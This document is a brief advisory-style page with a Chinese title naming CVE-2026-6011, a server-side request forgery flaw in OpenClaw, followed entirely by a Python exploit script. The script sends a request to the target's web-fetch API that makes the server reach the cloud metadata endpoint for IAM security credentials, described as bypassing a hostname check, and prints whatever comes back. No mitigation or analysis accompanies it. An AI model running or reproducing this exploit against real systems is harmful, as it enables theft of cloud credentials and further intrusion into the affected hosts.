CVE-2026-6011 OpenClaw 服务端请求伪造漏洞

import requests # Target URL of the vulnerable OpenClaw instance target_url = "http://<target-host>:<port>/api/web-fetch" # Malicious payload attempting to access internal metadata (SSRF) # Exploiting the assertPublicHostname bypass payload = { "url": "http://169.254.169.254/latest/meta-data/iam/security-credentials/", "options": {} } try: # Send the malicious request response = requests.post(target_url, json=payload) # Check if the attack was successful if response.status_code == 200: print("[+] SSRF Exploit Successful!") print("[+] Response from internal service:") print(response.text) else: print("[-] Exploit failed or target patched.") print("Status Code:", response.status_code) except Exception as e: print(f"[!] Error: {e}")